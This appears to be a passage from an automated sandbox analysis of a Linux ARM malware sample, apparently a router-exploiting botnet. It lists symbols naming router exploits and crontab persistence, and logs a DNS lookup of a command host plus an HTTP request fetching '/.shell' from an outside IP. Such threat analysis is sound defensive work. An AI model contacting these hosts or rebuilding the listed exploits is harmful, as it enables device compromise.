              __encode_header.symtab0x1c8b0236FUNC<unknown>HIDDEN2
              __encode_question.symtab0x1ca5096FUNC<unknown>HIDDEN2
              __end__.symtab0x2bcdc0NOTYPE<unknown>DEFAULTSHN_ABS
              __environ.symtab0x2b6004OBJECT<unknown>DEFAULT13
              __eqdf2.symtab0x118a4132FUNC<unknown>HIDDEN2
              __errno_location.symtab0x120cc28FUNC<unknown>DEFAULT2
              __errno_location.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __error.symtab0x1826c0NOTYPE<unknown>DEFAULT2
              __exidx_end.symtab0x208540NOTYPE<unknown>DEFAULTSHN_ABS
              __exidx_start.symtab0x208440NOTYPE<unknown>DEFAULTSHN_ABS
              __exit_cleanup.symtab0x2b5f84OBJECT<unknown>HIDDEN13
              __extendsfdf2.symtab0x117e064FUNC<unknown>HIDDEN2
              __fcntl_nocancel.symtab0x18854108FUNC<unknown>DEFAULT2
              __fgetc_unlocked.symtab0x19e74300FUNC<unknown>DEFAULT2
              __fini_array_end.symtab0x2900c0NOTYPE<unknown>HIDDEN9
              __fini_array_start.symtab0x290080NOTYPE<unknown>HIDDEN9
              __fixunsdfsi.symtab0x1d3e084FUNC<unknown>HIDDEN2
              __floatdidf.symtab0x1183496FUNC<unknown>HIDDEN2
              __floatsidf.symtab0x117b840FUNC<unknown>HIDDEN2
              __floatundidf.symtab0x11820116FUNC<unknown>HIDDEN2
              __floatunsidf.symtab0x1179436FUNC<unknown>HIDDEN2
              __frame_dummy_init_array_entry.symtab0x290040OBJECT<unknown>DEFAULT8
              __gedf2.symtab0x11894148FUNC<unknown>HIDDEN2
              __get_hosts_byname_r.symtab0x1c3d076FUNC<unknown>HIDDEN2
              __getdents.symtab0x18420148FUNC<unknown>HIDDEN2
              __getdents64.symtab0x1b168324FUNC<unknown>HIDDEN2
              __getpagesize.symtab0x1836c40FUNC<unknown>DEFAULT2
              __glibc_strerror_r.symtab0x14c1024FUNC<unknown>DEFAULT2
              __glibc_strerror_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __gtdf2.symtab0x11894148FUNC<unknown>HIDDEN2
              __h_errno_location.symtab0x18ad428FUNC<unknown>DEFAULT2
              __h_errno_location.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __init_array_end.symtab0x290080NOTYPE<unknown>HIDDEN8
              __init_array_start.symtab0x290040NOTYPE<unknown>HIDDEN8
              __ledf2.symtab0x1189c140FUNC<unknown>HIDDEN2
              __libc_close.symtab0x11c7452FUNC<unknown>DEFAULT2
              __libc_connect.symtab0x1579056FUNC<unknown>DEFAULT2
              __libc_fcntl.symtab0x187e8108FUNC<unknown>DEFAULT2
              __libc_fork.symtab0x11a6852FUNC<unknown>DEFAULT2
              __libc_lseek64.symtab0x1c818100FUNC<unknown>DEFAULT2
              __libc_nanosleep.symtab0x188f452FUNC<unknown>DEFAULT2
              __libc_open.symtab0x182d896FUNC<unknown>DEFAULT2
              __libc_read.symtab0x1b0f452FUNC<unknown>DEFAULT2
              __libc_recv.symtab0x1580056FUNC<unknown>DEFAULT2
              __libc_send.symtab0x1583856FUNC<unknown>DEFAULT2
              __libc_sendto.symtab0x1587064FUNC<unknown>DEFAULT2
              __libc_sigaction.symtab0x18184136FUNC<unknown>DEFAULT2
              __libc_stack_end.symtab0x2b5fc4OBJECT<unknown>DEFAULT13
              __libc_waitpid.symtab0x1840428FUNC<unknown>DEFAULT2
              __libc_write.symtab0x11b6c52FUNC<unknown>DEFAULT2
              __local_nameserver.symtab0x2080c16OBJECT<unknown>HIDDEN4
              __ltdf2.symtab0x1189c140FUNC<unknown>HIDDEN2
              __malloc_consolidate.symtab0x165e8436FUNC<unknown>HIDDEN2
              __malloc_largebin_index.symtab0x15a6c120FUNC<unknown>DEFAULT2
              __malloc_lock.symtab0x2927824OBJECT<unknown>DEFAULT12
              __malloc_state.symtab0x2b948888OBJECT<unknown>DEFAULT13
              __malloc_trim.symtab0x16538176FUNC<unknown>DEFAULT2
              __muldf3.symtab0x1cf44656FUNC<unknown>HIDDEN2
              __nameserver.symtab0x2bcd04OBJECT<unknown>HIDDEN13
              __nameservers.symtab0x2bcd44OBJECT<unknown>HIDDEN13
              __nedf2.symtab0x118a4132FUNC<unknown>HIDDEN2
              __open_etc_hosts.symtab0x1cab048FUNC<unknown>HIDDEN2
              __open_nameservers.symtab0x1bedc1116FUNC<unknown>HIDDEN2
              __pagesize.symtab0x2b6044OBJECT<unknown>DEFAULT13
              __preinit_array_end.symtab0x290040NOTYPE<unknown>HIDDENSHN_ABS
              __preinit_array_start.symtab0x290040NOTYPE<unknown>HIDDENSHN_ABS
              __progname.symtab0x293704OBJECT<unknown>DEFAULT12
              __progname_full.symtab0x293744OBJECT<unknown>DEFAULT12
              __pthread_initialize_minimal.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
              __pthread_mutex_init.symtab0x17cd08FUNC<unknown>DEFAULT2
              __pthread_mutex_lock.symtab0x17cc88FUNC<unknown>DEFAULT2
              __pthread_mutex_trylock.symtab0x17cc88FUNC<unknown>DEFAULT2
              __pthread_mutex_unlock.symtab0x17cc88FUNC<unknown>DEFAULT2
              __pthread_return_0.symtab0x17cc88FUNC<unknown>DEFAULT2
              __read_etc_hosts_r.symtab0x1cae0516FUNC<unknown>HIDDEN2
              __register_frame_info.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
              __res_sync.symtab0x2bcc84OBJECT<unknown>HIDDEN13
              __resolv_attempts.symtab0x293831OBJECT<unknown>HIDDEN12
              __resolv_lock.symtab0x2b62024OBJECT<unknown>DEFAULT13
              __resolv_timeout.symtab0x293821OBJECT<unknown>HIDDEN12
              __rtld_fini.symtab0x2b60c4OBJECT<unknown>HIDDEN13
              __searchdomain.symtab0x2bccc4OBJECT<unknown>HIDDEN13
              __searchdomains.symtab0x2bcd84OBJECT<unknown>HIDDEN13
              __sigaddset.symtab0x15a2436FUNC<unknown>DEFAULT2
              __sigdelset.symtab0x15a4836FUNC<unknown>DEFAULT2
              __sigismember.symtab0x15a0036FUNC<unknown>DEFAULT2
              __stdin.symtab0x291784OBJECT<unknown>DEFAULT12
              __stdio_READ.symtab0x18ff888FUNC<unknown>HIDDEN2
              __stdio_WRITE.symtab0x19050180FUNC<unknown>HIDDEN2
              __stdio_adjust_position.symtab0x1b420196FUNC<unknown>HIDDEN2
              __stdio_fwrite.symtab0x19104320FUNC<unknown>HIDDEN2
              __stdio_init_mutex.symtab0x12c1c52FUNC<unknown>HIDDEN2
              __stdio_mutex_initializer.4636.symtab0x1f7a024OBJECT<unknown>DEFAULT4
              __stdio_rfill.symtab0x1b4e448FUNC<unknown>HIDDEN2
              __stdio_seek.symtab0x1b51460FUNC<unknown>HIDDEN2
              __stdio_trans2r_o.symtab0x19244152FUNC<unknown>HIDDEN2
              __stdio_trans2w_o.symtab0x192dc208FUNC<unknown>HIDDEN2
              __stdio_wcommit.symtab0x12d2448FUNC<unknown>HIDDEN2
              __stdout.symtab0x2917c4OBJECT<unknown>DEFAULT12
              __subdf3.symtab0x11480788FUNC<unknown>HIDDEN2
              __syscall_error.symtab0x1b06032FUNC<unknown>HIDDEN2
              __syscall_error.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __syscall_fcntl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __syscall_rt_sigaction.symtab0x1897c52FUNC<unknown>DEFAULT2
              __syscall_rt_sigaction.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __uClibc_fini.symtab0x17d0c124FUNC<unknown>DEFAULT2
              __uClibc_init.symtab0x17ddc108FUNC<unknown>DEFAULT2
              __uClibc_main.symtab0x17e48724FUNC<unknown>DEFAULT2
              __uClibc_main.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __uclibc_progname.symtab0x2936c4OBJECT<unknown>HIDDEN12
              __udivsi3.symtab0x1ce30252FUNC<unknown>HIDDEN2
              __vfork.symtab0x1823064FUNC<unknown>HIDDEN2
              __xpg_strerror_r.symtab0x14c58256FUNC<unknown>DEFAULT2
              __xpg_strerror_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __xstat32_conv.symtab0x18658172FUNC<unknown>HIDDEN2
              __xstat64_conv.symtab0x1858c204FUNC<unknown>HIDDEN2
              __xstat_conv.symtab0x18704184FUNC<unknown>HIDDEN2
              _adjust_pos.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _bss_custom_printf_spec.symtab0x2b40810OBJECT<unknown>DEFAULT13
              _bss_end__.symtab0x2bcdc0NOTYPE<unknown>DEFAULTSHN_ABS
              _call_via_fp.symtab0x80fd4FUNC<unknown>HIDDEN2
              _call_via_ip.symtab0x81014FUNC<unknown>HIDDEN2
              _call_via_lr.symtab0x81094FUNC<unknown>HIDDEN2
              _call_via_r0.symtab0x80d14FUNC<unknown>HIDDEN2
              _call_via_r1.symtab0x80d54FUNC<unknown>HIDDEN2
              _call_via_r2.symtab0x80d94FUNC<unknown>HIDDEN2
              _call_via_r3.symtab0x80dd4FUNC<unknown>HIDDEN2
              _call_via_r4.symtab0x80e14FUNC<unknown>HIDDEN2
              _call_via_r5.symtab0x80e54FUNC<unknown>HIDDEN2
              _call_via_r6.symtab0x80e94FUNC<unknown>HIDDEN2
              _call_via_r7.symtab0x80ed4FUNC<unknown>HIDDEN2
              _call_via_r8.symtab0x80f14FUNC<unknown>HIDDEN2
              _call_via_r9.symtab0x80f54FUNC<unknown>HIDDEN2
              _call_via_sl.symtab0x80f94FUNC<unknown>HIDDEN2
              _call_via_sp.symtab0x81054FUNC<unknown>HIDDEN2
              _charpad.symtab0x12e3884FUNC<unknown>DEFAULT2
              _cs_funcs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _custom_printf_arginfo.symtab0x2b8f040OBJECT<unknown>HIDDEN13
              _custom_printf_handler.symtab0x2b91840OBJECT<unknown>HIDDEN13
              _custom_printf_spec.symtab0x292744OBJECT<unknown>HIDDEN12
              _dl_aux_init.symtab0x1afdc56FUNC<unknown>DEFAULT2
              _dl_phdr.symtab0x2bcc04OBJECT<unknown>DEFAULT13
              _dl_phnum.symtab0x2bcc44OBJECT<unknown>DEFAULT13
              _edata.symtab0x293840NOTYPE<unknown>DEFAULTSHN_ABS
              _end.symtab0x2bcdc0NOTYPE<unknown>DEFAULTSHN_ABS
              _errno.symtab0x2b6104OBJECT<unknown>DEFAULT13
              _exit.symtab0x11bd444FUNC<unknown>DEFAULT2
              _exit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _fini.symtab0x1d4340FUNC<unknown>DEFAULT3
              _fixed_buffers.symtab0x294088192OBJECT<unknown>DEFAULT13
              _fopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _fp_out_narrow.symtab0x12e8c132FUNC<unknown>DEFAULT2
              _fpmaxtostr.symtab0x195a42036FUNC<unknown>HIDDEN2
              _fpmaxtostr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _fwrite.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _h_errno.symtab0x2b6144OBJECT<unknown>DEFAULT13
              _init.symtab0x80b40FUNC<unknown>DEFAULT1
              _load_inttype.symtab0x193ac112FUNC<unknown>HIDDEN2
              _load_inttype.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _memcpy.symtab0x19fa00FUNC<unknown>HIDDEN2
              _ppfs_init.symtab0x135f8160FUNC<unknown>HIDDEN2
              _ppfs_init.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _ppfs_parsespec.symtab0x138e01392FUNC<unknown>HIDDEN2
              _ppfs_parsespec.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _ppfs_prepargs.symtab0x1369868FUNC<unknown>HIDDEN2
              _ppfs_prepargs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _ppfs_setargs.symtab0x136dc432FUNC<unknown>HIDDEN2
              _ppfs_setargs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _promoted_size.symtab0x1388c84FUNC<unknown>DEFAULT2
              _pthread_cleanup_pop_restore.symtab0x17ce044FUNC<unknown>DEFAULT2
              _pthread_cleanup_push_defer.symtab0x17cd88FUNC<unknown>DEFAULT2
              _rfill.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _sigintr.symtab0x2b9408OBJECT<unknown>HIDDEN13
              _start.symtab0x81b00FUNC<unknown>DEFAULT2
              _stdio.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _stdio_fopen.symtab0x128ac776FUNC<unknown>HIDDEN2
              _stdio_init.symtab0x12bb4104FUNC<unknown>HIDDEN2
              _stdio_openlist.symtab0x291804OBJECT<unknown>DEFAULT12
              _stdio_openlist_add_lock.symtab0x2913824OBJECT<unknown>DEFAULT12
              _stdio_openlist_dec_use.symtab0x14084392FUNC<unknown>HIDDEN2
              _stdio_openlist_del_count.symtab0x294044OBJECT<unknown>DEFAULT13
              _stdio_openlist_del_lock.symtab0x2915024OBJECT<unknown>DEFAULT12
              _stdio_openlist_use_count.symtab0x294004OBJECT<unknown>DEFAULT13
              _stdio_streams.symtab0x29184240OBJECT<unknown>DEFAULT12
              _stdio_term.symtab0x12c50212FUNC<unknown>HIDDEN2
              _stdio_user_locking.symtab0x291684OBJECT<unknown>DEFAULT12
              _stdlib_strto_l.symtab0x17184448FUNC<unknown>HIDDEN2
              _stdlib_strto_l.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _store_inttype.symtab0x1941c44FUNC<unknown>HIDDEN2
              _store_inttype.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _string_syserrmsgs.symtab0x1f8702906OBJECT<unknown>HIDDEN4
              _string_syserrmsgs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _trans2r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _trans2w.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _uintmaxtostr.symtab0x19448348FUNC<unknown>HIDDEN2
              _uintmaxtostr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _vfprintf_internal.symtab0x12f101768FUNC<unknown>HIDDEN2
              _vfprintf_internal.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _wcommit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              abort.symtab0x16a18296FUNC<unknown>DEFAULT2
              abort.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              access.symtab0x11a9c52FUNC<unknown>DEFAULT2
              access.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              add_to_crontab.symtab0x82dc180FUNC<unknown>DEFAULT2
              addthis.symtab0x8748144FUNC<unknown>DEFAULT2
              aeabi_unwind_cpp_pr1.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              atoi.symtab0x1714832FUNC<unknown>DEFAULT2
              atol.symtab0x1714832FUNC<unknown>DEFAULT2
              atol.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              bcopy.symtab0x1482016FUNC<unknown>DEFAULT2
              been_there_done_that.symtab0x2b5f44OBJECT<unknown>DEFAULT13
              bind.symtab0x1575856FUNC<unknown>DEFAULT2
              bind.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              brk.symtab0x1b01476FUNC<unknown>DEFAULT2
              brk.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              bsd_signal.symtab0x15948184FUNC<unknown>DEFAULT2
              buf.2975.symtab0x2b41816OBJECT<unknown>DEFAULT13
              buf.5444.symtab0x2b428440OBJECT<unknown>DEFAULT13
              bzero.symtab0x1484012FUNC<unknown>DEFAULT2
              calloc.symtab0x16404308FUNC<unknown>DEFAULT2
              calloc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              chdir.symtab0x11ad052FUNC<unknown>DEFAULT2
              chdir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              check_crontab_entry.symtab0x81ec240FUNC<unknown>DEFAULT2
              child_count.symtab0x293d04OBJECT<unknown>DEFAULT13
              child_pids.symtab0x2b7b0320OBJECT<unknown>DEFAULT13
              chmod.symtab0x11a2c60FUNC<unknown>DEFAULT2
              chmod.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              clock_getres.symtab0x183a852FUNC<unknown>DEFAULT2
              clock_getres.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              close.symtab0x11c7452FUNC<unknown>DEFAULT2
              close.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              closedir.symtab0x11cd8248FUNC<unknown>DEFAULT2
              closedir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              closenameservers.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              completed.4959.symtab0x293841OBJECT<unknown>DEFAULT13
              connect.symtab0x1579056FUNC<unknown>DEFAULT2
              connect.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              createChildrenreplic.symtab0xa518232FUNC<unknown>DEFAULT2
              crontab.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              crontabinit.symtab0x8390324FUNC<unknown>DEFAULT2
              crtstuff.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              crtstuff.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              csum.symtab0xaf00240FUNC<unknown>DEFAULT2
              daemonize.symtab0xa14c176FUNC<unknown>DEFAULT2
              data_start.symtab0x290900NOTYPE<unknown>DEFAULT12
              decoded.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              decodeh.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              destroythis.symtab0x87d8108FUNC<unknown>DEFAULT2
              difftime.symtab0x120e856FUNC<unknown>DEFAULT2
              difftime.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              dl-support.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              dnslookup.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              dup2.symtab0x1827052FUNC<unknown>DEFAULT2
              dup2.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              encoded.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              encodeh.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              encodeq.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              encrypt.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              environ.symtab0x2b6004OBJECT<unknown>DEFAULT13
              errno.symtab0x2b6104OBJECT<unknown>DEFAULT13
              errno.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              execl.symtab0x17bcc172FUNC<unknown>DEFAULT2
              execl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              execve.symtab0x182a452FUNC<unknown>DEFAULT2
              execve.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              exit.symtab0x17344184FUNC<unknown>DEFAULT2
              exit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              exp10_table.symtab0x2077872OBJECT<unknown>DEFAULT4
              exploit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              exploit_pid.symtab0x2b79c4OBJECT<unknown>DEFAULT13
              exploit_socket_crossweb.symtab0x9548236FUNC<unknown>DEFAULT2
              exploit_socket_dlink.symtab0x9724240FUNC<unknown>DEFAULT2
              exploit_socket_gpon80.symtab0x8d70236FUNC<unknown>DEFAULT2
              exploit_socket_gpon8080.symtab0x8c78248FUNC<unknown>DEFAULT2
              exploit_socket_hnap.symtab0x9458240FUNC<unknown>DEFAULT2
              exploit_socket_huawei.symtab0x9184244FUNC<unknown>DEFAULT2
              exploit_socket_jaws.symtab0x9634240FUNC<unknown>DEFAULT2
              exploit_socket_netgear80.symtab0x9098236FUNC<unknown>DEFAULT2
              exploit_socket_netgear8080.symtab0x8fa8240FUNC<unknown>DEFAULT2
              exploit_socket_r7064.symtab0x9814240FUNC<unknown>DEFAULT2
              exploit_socket_realtek.symtab0x8e5c332FUNC<unknown>DEFAULT2
              exploit_socket_tplink2.symtab0x99f4244FUNC<unknown>DEFAULT2
              exploit_socket_tr064_5555.symtab0x9368240FUNC<unknown>DEFAULT2
              exploit_socket_tr064_7574.symtab0x9278240FUNC<unknown>DEFAULT2
              exploit_socket_vacron.symtab0x9904240FUNC<unknown>DEFAULT2
              fclose.symtab0x12120436FUNC<unknown>DEFAULT2
              fclose.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fcntl.symtab0x187e8108FUNC<unknown>DEFAULT2
              fd_to_DIR.symtab0x11dd0208FUNC<unknown>DEFAULT2
              fdopen.symtab0x18fbc60FUNC<unknown>DEFAULT2
              fdopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fdopendir.symtab0x11f4c152FUNC<unknown>DEFAULT2
              fflush_unlocked.symtab0x1420c524FUNC<unknown>DEFAULT2
              fflush_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fgetc.symtab0x19d98220FUNC<unknown>DEFAULT2
              fgetc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fgetc_unlocked.symtab0x19e74300FUNC<unknown>DEFAULT2
              fgetc_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fgets.symtab0x13e50188FUNC<unknown>DEFAULT2
              fgets.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fgets_unlocked.symtab0x14418160FUNC<unknown>DEFAULT2
              fgets_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fmt.symtab0x2076020OBJECT<unknown>DEFAULT4

              Network Behavior

              Download Network PCAP: filtered – full

              Network Port Distribution

              • Total Packets: 9
              • • 443 (HTTPS)
              • • 80 (HTTP)
              • • 53 (DNS)
              TimestampSource PortDest PortSource IPDest IP
              Nov 3, 2024 13:51:20.870150089 CET60216443192.168.2.1387.120.84.230
              Nov 3, 2024 13:51:20.870198011 CET4436021687.120.84.230192.168.2.13
              Nov 3, 2024 13:51:20.870260954 CET60216443192.168.2.1387.120.84.230
              Nov 3, 2024 13:51:20.872761011 CET3763680192.168.2.1387.120.84.230
              Nov 3, 2024 13:51:20.877873898 CET803763687.120.84.230192.168.2.13
              Nov 3, 2024 13:51:20.877944946 CET3763680192.168.2.1387.120.84.230
              Nov 3, 2024 13:51:20.879669905 CET3763680192.168.2.1387.120.84.230
              Nov 3, 2024 13:51:20.884530067 CET803763687.120.84.230192.168.2.13
              Nov 3, 2024 13:51:22.182435036 CET803763687.120.84.230192.168.2.13
              Nov 3, 2024 13:51:22.182749987 CET3763680192.168.2.1387.120.84.230
              Nov 3, 2024 13:51:22.187813997 CET803763687.120.84.230192.168.2.13
              Nov 3, 2024 13:52:23.275126934 CET60216443192.168.2.1387.120.84.230
              Nov 3, 2024 13:52:23.275253057 CET4436021687.120.84.230192.168.2.13
              Nov 3, 2024 13:52:23.275532007 CET60216443192.168.2.1387.120.84.230
              TimestampSource PortDest PortSource IPDest IP
              Nov 3, 2024 13:51:20.817388058 CET5775753192.168.2.138.8.8.8
              Nov 3, 2024 13:51:20.867854118 CET53577578.8.8.8192.168.2.13

              DNS Queries

              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
              Nov 3, 2024 13:51:20.817388058 CET192.168.2.138.8.8.80xdfd7Standard query (0)conn.masjesu.zipA (IP address)IN (0x0001)false

              DNS Answers

              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
              Nov 3, 2024 13:51:20.867854118 CET8.8.8.8192.168.2.130xdfd7No error (0)conn.masjesu.zip216.126.231.240A (IP address)IN (0x0001)false
              Nov 3, 2024 13:51:20.867854118 CET8.8.8.8192.168.2.130xdfd7No error (0)conn.masjesu.zip87.120.84.230A (IP address)IN (0x0001)false

              HTTP Request Dependency Graph

              • 87.120.84.230

              HTTP Packets

              Session IDSource IPSource PortDestination IPDestination Port
              0192.168.2.133763687.120.84.23080
              TimestampBytes transferredDirectionData
              Nov 3, 2024 13:51:20.879669905 CET76OUTGET /.shell HTTP/1.1
              Host: 87.120.84.230
              Connection: close


              System Behavior

              General

              Start time (UTC):12:51:18
              Start date (UTC):03/11/2024
              Path:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
              Arguments:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              File Activities

              Process Activities

              System Activities


              General

              Start time (UTC):12:51:18
              Start date (UTC):03/11/2024
              Path:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              File Activities

              Process Activities


              General

              Start time (UTC):12:51:18
              Start date (UTC):03/11/2024
              Path:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              Process Activities


              General

              Start time (UTC):12:51:18
              Start date (UTC):03/11/2024
              Path:/bin/sh
              Arguments:sh -c "crontab -l"
              File size:129816 bytes
              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

              File Activities

              Process Activities


              General

              Start time (UTC):12:51:18
              Start date (UTC):03/11/2024
              Path:/bin/sh
              Arguments:-
              File size:129816 bytes
              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

              Process Activities


              General

              Start time (UTC):12:51:18
              Start date (UTC):03/11/2024
              Path:/usr/bin/crontab
              Arguments:crontab -l
              File size:43720 bytes
              MD5 hash:66e521d421ac9b407699061bf21806f5

              File Activities

              Network Activities


              General

              Start time (UTC):12:51:18
              Start date (UTC):03/11/2024
              Path:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              Process Activities


              General

              Start time (UTC):12:51:18
              Start date (UTC):03/11/2024
              Path:/bin/sh
              Arguments:sh -c "crontab -"
              File size:129816 bytes
              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

              File Activities

              Process Activities


              General

              Start time (UTC):12:51:18
              Start date (UTC):03/11/2024
              Path:/bin/sh
              Arguments:-
              File size:129816 bytes
              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

              Process Activities


              General

              Start time (UTC):12:51:18
              Start date (UTC):03/11/2024
              Path:/usr/bin/crontab
              Arguments:crontab -
              File size:43720 bytes
              MD5 hash:66e521d421ac9b407699061bf21806f5

              File Activities

              Network Activities


              General

              Start time (UTC):12:51:19
              Start date (UTC):03/11/2024
              Path:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              File Activities

              Process Activities

              System Activities

              Network Activities


              General

              Start time (UTC):12:51:19
              Start date (UTC):03/11/2024
              Path:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              File Activities

              Process Activities


              General

              Start time (UTC):12:51:19
              Start date (UTC):03/11/2024
              Path:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              File Activities

              Process Activities